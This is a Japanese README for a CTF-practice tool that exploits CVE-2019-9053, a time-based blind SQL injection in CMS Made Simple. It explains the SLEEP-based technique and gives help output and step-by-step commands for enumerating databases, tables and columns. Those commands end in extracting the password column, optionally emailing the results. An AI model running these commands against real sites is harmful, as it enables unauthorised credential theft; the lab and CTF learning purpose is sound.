
MySQL向け時間ベースのブラインドSQLインジェクションツール - CVE-2019-9053
MySQLi.pyは、TryHackMeのSimpleCTFルームで使用した個人練習プロジェクトで、Exploit-DB exploit 46635に触発されたものです。
元のエクスプロイトで私の注意を引いたのは、資格情報を抽出し、パスワードハッシュまで自動的にクラックできることでした。その動機から、よりモダンで、優れたインターフェースとより多くのカスタマイズオプションを備えた自分のバージョンを書きたいと思いました。すでに同様のツールが存在するかもしれませんが、この小さなプログラムが倫理的ハッキングの世界へのさらなる貢献の一つになれば幸いです!
このツールはCVE-2019-9053を悪用します。これはCMS Made Simple < 2.2.10の脆弱性で、サニタイズされていないパラメータが認証なしで時間ベースのブラインドSQLインジェクションに対して脆弱になっています。Webの応答はデータを直接表示しないため、IF(SUBSTRING(...), SLEEP(n), 0)条件を注入し、応答時間を測定して、データベース、テーブル、カラム、データの各文字を一つずつ推測する手法で動作します。
MySQLi demo
pip install -r requirements.txt
--emailフラグを使用するには、同じディレクトリに.envファイルを作成してください。
.env.exampleのテンプレートを使用します:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
パスワードは通常のGmailパスワードではなく、Googleアプリパスワードである必要があります。 myaccount.google.com/apppasswordsで生成できます。
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.pyは、教育目的およびセキュリティテストを実行する明示的な許可を得た環境でのみ使用することを目的としています。
所有者からの事前の書面による許可なしに本ツールをシステムに対して使用することは違法であり、多くの国の法律の下で犯罪となる可能性があります。著者は、本ソフトウェアの誤用によって引き起こされた損害、データ損失、法的結果、その他いかなる害についても責任を負いません。
自分のラボ、CTF環境、TryHackMeやHackTheBoxなどの練習プラットフォーム、またはテストを許可されたシステムでのみ使用してください。
ハッピーハッキング! :)